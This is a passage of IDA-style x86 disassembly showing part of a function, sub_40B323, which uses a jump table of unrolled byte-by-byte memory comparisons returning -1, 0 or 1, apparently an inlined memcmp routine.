		movzx	edx, byte ptr [ecx-10h]
		sub	esi, edx
		jz	short loc_40BDC0
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BDC0:				; CODE XREF: sub_40B323+A86j
		movzx	esi, byte ptr [eax-0Fh]
		movzx	edx, byte ptr [ecx-0Fh]
		sub	esi, edx
		jz	short loc_40BDE1
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BDE1:				; CODE XREF: sub_40B323+AA7j
		movzx	esi, byte ptr [eax-0Eh]
		movzx	edx, byte ptr [ecx-0Eh]
		sub	esi, edx
		jz	short loc_40BDFE
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40BDFE
; ---------------------------------------------------------------------------

loc_40BDFC:				; CODE XREF: sub_40B323+A5Aj
		xor	esi, esi

loc_40BDFE:				; CODE XREF: sub_40B323+AC8j
					; sub_40B323+AD7j
		test	esi, esi
		jnz	loc_40B7EF

loc_40BE06:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-0Dh]	; jumptable 0040B7E8 case 13
		cmp	edx, [ecx-0Dh]
		jz	short loc_40BE8B
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-0Dh]
		sub	esi, edx
		jz	short loc_40BE2E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BE2E:				; CODE XREF: sub_40B323+AF4j
		movzx	esi, byte ptr [eax-0Ch]
		movzx	edx, byte ptr [ecx-0Ch]
		sub	esi, edx
		jz	short loc_40BE4F
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BE4F:				; CODE XREF: sub_40B323+B15j
		movzx	esi, byte ptr [eax-0Bh]
		movzx	edx, byte ptr [ecx-0Bh]
		sub	esi, edx
		jz	short loc_40BE70
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BE70:				; CODE XREF: sub_40B323+B36j
		movzx	esi, byte ptr [eax-0Ah]
		movzx	edx, byte ptr [ecx-0Ah]
		sub	esi, edx
		jz	short loc_40BE8D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40BE8D
; ---------------------------------------------------------------------------

loc_40BE8B:				; CODE XREF: sub_40B323+AE9j
		xor	esi, esi

loc_40BE8D:				; CODE XREF: sub_40B323+B57j
					; sub_40B323+B66j
		test	esi, esi
		jnz	loc_40B7EF

loc_40BE95:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-9]	; jumptable 0040B7E8 case 9
		cmp	edx, [ecx-9]
		jz	short loc_40BF1B
		movzx	edx, byte ptr [ecx-9]
		movzx	esi, byte ptr [eax-9]
		sub	esi, edx
		jz	short loc_40BEBE
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BEBE:				; CODE XREF: sub_40B323+B84j
		movzx	esi, byte ptr [eax-8]
		movzx	edx, byte ptr [ecx-8]
		sub	esi, edx
		jz	short loc_40BEDF
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BEDF:				; CODE XREF: sub_40B323+BA5j
		movzx	esi, byte ptr [eax-7]
		movzx	edx, byte ptr [ecx-7]
		sub	esi, edx
		jz	short loc_40BF00
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BF00:				; CODE XREF: sub_40B323+BC6j
		movzx	esi, byte ptr [eax-6]
		movzx	edx, byte ptr [ecx-6]
		sub	esi, edx
		jz	short loc_40BF1D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40BF1D
; ---------------------------------------------------------------------------

loc_40BF1B:				; CODE XREF: sub_40B323+B78j
		xor	esi, esi

loc_40BF1D:				; CODE XREF: sub_40B323+BE7j
					; sub_40B323+BF6j
		test	esi, esi
		jnz	loc_40B7EF

loc_40BF25:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-5]	; jumptable 0040B7E8 case 5
		cmp	edx, [ecx-5]
		jz	short loc_40BFAA
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-5]
		sub	esi, edx
		jz	short loc_40BF4D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BF4D:				; CODE XREF: sub_40B323+C13j
		movzx	esi, byte ptr [eax-4]
		movzx	edx, byte ptr [ecx-4]
		sub	esi, edx
		jz	short loc_40BF6E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BF6E:				; CODE XREF: sub_40B323+C34j
		movzx	esi, byte ptr [eax-3]
		movzx	edx, byte ptr [ecx-3]
		sub	esi, edx
		jz	short loc_40BF8F
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BF8F:				; CODE XREF: sub_40B323+C55j
		movzx	esi, byte ptr [eax-2]
		movzx	edx, byte ptr [ecx-2]
		sub	esi, edx
		jz	short loc_40BFAC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40BFAC
; ---------------------------------------------------------------------------

loc_40BFAA:				; CODE XREF: sub_40B323+C08j
		xor	esi, esi

loc_40BFAC:				; CODE XREF: sub_40B323+C76j
					; sub_40B323+C85j
		test	esi, esi
		jnz	loc_40B7EF

loc_40BFB4:				; CODE XREF: sub_40B323+4C5j
					; sub_40B323+10B5j ...
		movzx	ecx, byte ptr [ecx-1] ;	jumptable 0040B7E8 case	1
		movzx	eax, byte ptr [eax-1]
		sub	eax, ecx
		jz	loc_40BBC4
		xor	ecx, ecx
		test	eax, eax
		setnle	cl
		lea	ecx, [ecx+ecx-1]
		mov	eax, ecx
		jmp	loc_40BBC4
; ---------------------------------------------------------------------------

loc_40BFD6:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-1Eh]	; jumptable 0040B7E8 case 30
		cmp	edx, [ecx-1Eh]
		jz	short loc_40C05B
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-1Eh]
		sub	esi, edx
		jz	short loc_40BFFE
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BFFE:				; CODE XREF: sub_40B323+CC4j
		movzx	esi, byte ptr [eax-1Dh]
		movzx	edx, byte ptr [ecx-1Dh]
		sub	esi, edx
		jz	short loc_40C01F
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C01F:				; CODE XREF: sub_40B323+CE5j
		movzx	esi, byte ptr [eax-1Ch]
		movzx	edx, byte ptr [ecx-1Ch]
		sub	esi, edx
		jz	short loc_40C040
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C040:				; CODE XREF: sub_40B323+D06j
		movzx	esi, byte ptr [eax-1Bh]
		movzx	edx, byte ptr [ecx-1Bh]
		sub	esi, edx
		jz	short loc_40C05D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40C05D
; ---------------------------------------------------------------------------

loc_40C05B:				; CODE XREF: sub_40B323+CB9j
		xor	esi, esi

loc_40C05D:				; CODE XREF: sub_40B323+D27j
					; sub_40B323+D36j
		test	esi, esi
		jnz	loc_40B7EF

loc_40C065:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-1Ah]	; jumptable 0040B7E8 case 26
		cmp	edx, [ecx-1Ah]
		jz	short loc_40C0EA
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-1Ah]
		sub	esi, edx
		jz	short loc_40C08D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C08D:				; CODE XREF: sub_40B323+D53j
		movzx	esi, byte ptr [eax-19h]
		movzx	edx, byte ptr [ecx-19h]
		sub	esi, edx
		jz	short loc_40C0AE
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C0AE:				; CODE XREF: sub_40B323+D74j
		movzx	esi, byte ptr [eax-18h]
		movzx	edx, byte ptr [ecx-18h]
		sub	esi, edx
		jz	short loc_40C0CF
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C0CF:				; CODE XREF: sub_40B323+D95j
		movzx	esi, byte ptr [eax-17h]
		movzx	edx, byte ptr [ecx-17h]
		sub	esi, edx
		jz	short loc_40C0EC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40C0EC
; ---------------------------------------------------------------------------

loc_40C0EA:				; CODE XREF: sub_40B323+D48j
		xor	esi, esi

loc_40C0EC:				; CODE XREF: sub_40B323+DB6j
					; sub_40B323+DC5j
		test	esi, esi
		jnz	loc_40B7EF

loc_40C0F4:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-16h]	; jumptable 0040B7E8 case 22
		cmp	edx, [ecx-16h]
		jz	short loc_40C179
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-16h]
		sub	esi, edx
		jz	short loc_40C11C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C11C:				; CODE XREF: sub_40B323+DE2j
		movzx	esi, byte ptr [eax-15h]
		movzx	edx, byte ptr [ecx-15h]
		sub	esi, edx
		jz	short loc_40C13D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C13D:				; CODE XREF: sub_40B323+E03j
		movzx	esi, byte ptr [eax-14h]
		movzx	edx, byte ptr [ecx-14h]
		sub	esi, edx
		jz	short loc_40C15E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C15E:				; CODE XREF: sub_40B323+E24j
		movzx	esi, byte ptr [eax-13h]
		movzx	edx, byte ptr [ecx-13h]
		sub	esi, edx
		jz	short loc_40C17B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40C17B
; ---------------------------------------------------------------------------

loc_40C179:				; CODE XREF: sub_40B323+DD7j
		xor	esi, esi

loc_40C17B:				; CODE XREF: sub_40B323+E45j
					; sub_40B323+E54j
		test	esi, esi
		jnz	loc_40B7EF

loc_40C183:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-12h]	; jumptable 0040B7E8 case 18
		cmp	edx, [ecx-12h]
		jz	short loc_40C208
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-12h]
		sub	esi, edx
		jz	short loc_40C1AB
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C1AB:				; CODE XREF: sub_40B323+E71j
		movzx	esi, byte ptr [eax-11h]
		movzx	edx, byte ptr [ecx-11h]
		sub	esi, edx
		jz	short loc_40C1CC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C1CC:				; CODE XREF: sub_40B323+E92j
		movzx	esi, byte ptr [eax-10h]
		movzx	edx, byte ptr [ecx-10h]
		sub	esi, edx
		jz	short loc_40C1ED
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C1ED:				; CODE XREF: sub_40B323+EB3j
		movzx	esi, byte ptr [eax-0Fh]
		movzx	edx, byte ptr [ecx-0Fh]
		sub	esi, edx
		jz	short loc_40C20A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40C20A
; ---------------------------------------------------------------------------

loc_40C208:				; CODE XREF: sub_40B323+E66j
		xor	esi, esi

loc_40C20A:				; CODE XREF: sub_40B323+ED4j
					; sub_40B323+EE3j
		test	esi, esi
		jnz	loc_40B7EF

loc_40C212:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-0Eh]	; jumptable 0040B7E8 case 14
		cmp	edx, [ecx-0Eh]
		jz	short loc_40C297
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-0Eh]
		sub	esi, edx
		jz	short loc_40C23A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C23A:				; CODE XREF: sub_40B323+F00j
		movzx	esi, byte ptr [eax-0Dh]
		movzx	edx, byte ptr [ecx-0Dh]
		sub	esi, edx
		jz	short loc_40C25B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C25B:				; CODE XREF: sub_40B323+F21j
		movzx	esi, byte ptr [eax-0Ch]
		movzx	edx, byte ptr [ecx-0Ch]
		sub	esi, edx
		jz	short loc_40C27C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C27C:				; CODE XREF: sub_40B323+F42j
		movzx	esi, byte ptr [eax-0Bh]
		movzx	edx, byte ptr [ecx-0Bh]
		sub	esi, edx
		jz	short loc_40C299
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40C299
; ---------------------------------------------------------------------------

loc_40C297:				; CODE XREF: sub_40B323+EF5j
		xor	esi, esi

loc_40C299:				; CODE XREF: sub_40B323+F63j
					; sub_40B323+F72j
		test	esi, esi
		jnz	loc_40B7EF

loc_40C2A1:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-0Ah]	; jumptable 0040B7E8 case 10
		cmp	edx, [ecx-0Ah]
		jz	short loc_40C327
		movzx	edx, byte ptr [ecx-0Ah]
		movzx	esi, byte ptr [eax-0Ah]
		sub	esi, edx
		jz	short loc_40C2CA
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C2CA:				; CODE XREF: sub_40B323+F90j
		movzx	edx, byte ptr [ecx-9]
		movzx	esi, byte ptr [eax-9]
		sub	esi, edx
		jz	short loc_40C2EB
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C2EB:				; CODE XREF: sub_40B323+FB1j
		movzx	edx, byte ptr [ecx-8]
		movzx	esi, byte ptr [eax-8]
		sub	esi, edx
		jz	short loc_40C30C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C30C:				; CODE XREF: sub_40B323+FD2j
		movzx	edx, byte ptr [ecx-7]
		movzx	esi, byte ptr [eax-7]
		sub	esi, edx
		jz	short loc_40C329
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40C329
; ---------------------------------------------------------------------------

loc_40C327:				; CODE XREF: sub_40B323+F84j
		xor	esi, esi

loc_40C329:				; CODE XREF: sub_40B323+FF3j
					; sub_40B323+1002j
		test	esi, esi
		jnz	loc_40B7EF

loc_40C331:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-6]	; jumptable 0040B7E8 case 6
		cmp	edx, [ecx-6]
		jz	short loc_40C3B6
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-6]
		sub	esi, edx
		jz	short loc_40C359
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C359:				; CODE XREF: sub_40B323+101Fj
		movzx	esi, byte ptr [eax-5]
		movzx	edx, byte ptr [ecx-5]
		sub	esi, edx
		jz	short loc_40C37A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C37A:				; CODE XREF: sub_40B323+1040j
		movzx	esi, byte ptr [eax-4]
		movzx	edx, byte ptr [ecx-4]
		sub	esi, edx
		jz	short loc_40C39B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C39B:				; CODE XREF: sub_40B323+1061j
		movzx	esi, byte ptr [eax-3]
		movzx	edx, byte ptr [ecx-3]
		sub	esi, edx
		jz	short loc_40C3B8
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40C3B8
; ---------------------------------------------------------------------------

loc_40C3B6:				; CODE XREF: sub_40B323+1014j
		xor	esi, esi

loc_40C3B8:				; CODE XREF: sub_40B323+1082j
					; sub_40B323+1091j
		test	esi, esi
		jnz	loc_40B7EF

loc_40C3C0:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	dx, [eax-2]	; jumptable 0040B7E8 case 2
		cmp	dx, [ecx-2]
		jz	loc_40BBC2	; default
					; jumptable 0040B7E8 case 0

loc_40C3CE:				; CODE XREF: sub_40B323+14C8j
					; sub_40B323+14DBj
		movzx	edx, byte ptr [ecx-2]
		movzx	esi, byte ptr [eax-2]
		sub	esi, edx
		jz	loc_40BFB4	; jumptable 0040B7E8 case 1
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		test	edx, edx
		jnz	loc_40C804
		jmp	loc_40BFB4	; jumptable 0040B7E8 case 1
; ---------------------------------------------------------------------------

loc_40C3F6:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-1Fh]	; jumptable 0040B7E8 case 31
		cmp	edx, [ecx-1Fh]
		jz	short loc_40C47C
		movzx	edx, byte ptr [ecx-1Fh]
		movzx	esi, byte ptr [eax-1Fh]
		sub	esi, edx
		jz	short loc_40C41F
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C41F:				; CODE XREF: sub_40B323+10E5j
		movzx	esi, byte ptr [eax-1Eh]
		movzx	edx, byte ptr [ecx-1Eh]
		sub	esi, edx
		jz	short loc_40C440
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C440:				; CODE XREF: sub_40B323+1106j
		movzx	esi, byte ptr [eax-1Dh]
		movzx	edx, byte ptr [ecx-1Dh]
		sub	esi, edx
		jz	short loc_40C461
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C461:				; CODE XREF: sub_40B323+1127j
		movzx	esi, byte ptr [eax-1Ch]
		movzx	edx, byte ptr [ecx-1Ch]
		sub	esi, edx
		jz	short loc_40C47E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40C47E
; ---------------------------------------------------------------------------

loc_40C47C:				; CODE XREF: sub_40B323+10D9j
		xor	esi, esi

loc_40C47E:				; CODE XREF: sub_40B323+1148j
					; sub_40B323+1157j
		test	esi, esi
		jnz	loc_40B7EF

loc_40C486:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-1Bh]	; jumptable 0040B7E8 case 27
		cmp	edx, [ecx-1Bh]
		jz	short loc_40C50B
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-1Bh]
		sub	esi, edx
		jz	short loc_40C4AE
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C4AE:				; CODE XREF: sub_40B323+1174j
		movzx	esi, byte ptr [eax-1Ah]
		movzx	edx, byte ptr [ecx-1Ah]
		sub	esi, edx
		jz	short loc_40C4CF
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C4CF:				; CODE XREF: sub_40B323+1195j
		movzx	esi, byte ptr [eax-19h]
		movzx	edx, byte ptr [ecx-19h]
		sub	esi, edx
		jz	short loc_40C4F0
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C4F0:				; CODE XREF: sub_40B323+11B6j
		movzx	esi, byte ptr [eax-18h]
		movzx	edx, byte ptr [ecx-18h]
		sub	esi, edx
		jz	short loc_40C50D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40C50D
; ---------------------------------------------------------------------------

loc_40C50B:				; CODE XREF: sub_40B323+1169j
		xor	esi, esi

loc_40C50D:				; CODE XREF: sub_40B323+11D7j
					; sub_40B323+11E6j
		test	esi, esi
		jnz	loc_40B7EF

loc_40C515:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-17h]	; jumptable 0040B7E8 case 23
		cmp	edx, [ecx-17h]
		jz	short loc_40C59A
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-17h]
		sub	esi, edx
		jz	short loc_40C53D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C53D:				; CODE XREF: sub_40B323+1203j
		movzx	esi, byte ptr [eax-16h]
		movzx	edx, byte ptr [ecx-16h]
		sub	esi, edx
		jz	short loc_40C55E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C55E:				; CODE XREF: sub_40B323+1224j
		movzx	esi, byte ptr [eax-15h]
		movzx	edx, byte ptr [ecx-15h]
		sub	esi, edx
		jz	short loc_40C57F
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C57F:				; CODE XREF: sub_40B323+1245j
		movzx	esi, byte ptr [eax-14h]
		movzx	edx, byte ptr [ecx-14h]
		sub	esi, edx
		jz	short loc_40C59C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40C59C
; ---------------------------------------------------------------------------

loc_40C59A:				; CODE XREF: sub_40B323+11F8j
		xor	esi, esi

loc_40C59C:				; CODE XREF: sub_40B323+1266j
					; sub_40B323+1275j
		test	esi, esi
		jnz	loc_40B7EF

loc_40C5A4:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-13h]	; jumptable 0040B7E8 case 19
		cmp	edx, [ecx-13h]
		jz	short loc_40C629
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-13h]
		sub	esi, edx
		jz	short loc_40C5CC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C5CC:				; CODE XREF: sub_40B323+1292j
		movzx	esi, byte ptr [eax-12h]
		movzx	edx, byte ptr [ecx-12h]
		sub	esi, edx
		jz	short loc_40C5ED
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C5ED:				; CODE XREF: sub_40B323+12B3j
		movzx	esi, byte ptr [eax-11h]
		movzx	edx, byte ptr [ecx-11h]
		sub	esi, edx
		jz	short loc_40C60E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C60E:				; CODE XREF: sub_40B323+12D4j
		movzx	esi, byte ptr [eax-10h]
		movzx	edx, byte ptr [ecx-10h]
		sub	esi, edx
		jz	short loc_40C62B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40C62B
; ---------------------------------------------------------------------------

loc_40C629:				; CODE XREF: sub_40B323+1287j
		xor	esi, esi

loc_40C62B:				; CODE XREF: sub_40B323+12F5j
					; sub_40B323+1304j
		test	esi, esi
		jnz	loc_40B7EF

loc_40C633:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-0Fh]	; jumptable 0040B7E8 case 15
		cmp	edx, [ecx-0Fh]
		jz	short loc_40C6B9
		movzx	edx, byte ptr [ecx-0Fh]
		movzx	esi, byte ptr [eax-0Fh]
		sub	esi, edx
		jz	short loc_40C65C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C65C:				; CODE XREF: sub_40B323+1322j
		movzx	esi, byte ptr [eax-0Eh]
		movzx	edx, byte ptr [ecx-0Eh]
		sub	esi, edx
		jz	short loc_40C67D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C67D:				; CODE XREF: sub_40B323+1343j
		movzx	esi, byte ptr [eax-0Dh]
		movzx	edx, byte ptr [ecx-0Dh]
		sub	esi, edx
		jz	short loc_40C69E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C69E:				; CODE XREF: sub_40B323+1364j
		movzx	esi, byte ptr [eax-0Ch]
		movzx	edx, byte ptr [ecx-0Ch]
		sub	esi, edx
		jz	short loc_40C6BB
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40C6BB
; ---------------------------------------------------------------------------

loc_40C6B9:				; CODE XREF: sub_40B323+1316j
		xor	esi, esi

loc_40C6BB:				; CODE XREF: sub_40B323+1385j
					; sub_40B323+1394j
		test	esi, esi
		jnz	loc_40B7EF

loc_40C6C3:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-0Bh]	; jumptable 0040B7E8 case 11
		cmp	edx, [ecx-0Bh]
		jz	short loc_40C748
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-0Bh]
		sub	esi, edx
		jz	short loc_40C6EB
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C6EB:				; CODE XREF: sub_40B323+13B1j
		movzx	esi, byte ptr [eax-0Ah]
		movzx	edx, byte ptr [ecx-0Ah]
		sub	esi, edx
		jz	short loc_40C70C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C70C:				; CODE XREF: sub_40B323+13D2j
		movzx	esi, byte ptr [eax-9]
		movzx	edx, byte ptr [ecx-9]
		sub	esi, edx
		jz	short loc_40C72D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C72D:				; CODE XREF: sub_40B323+13F3j
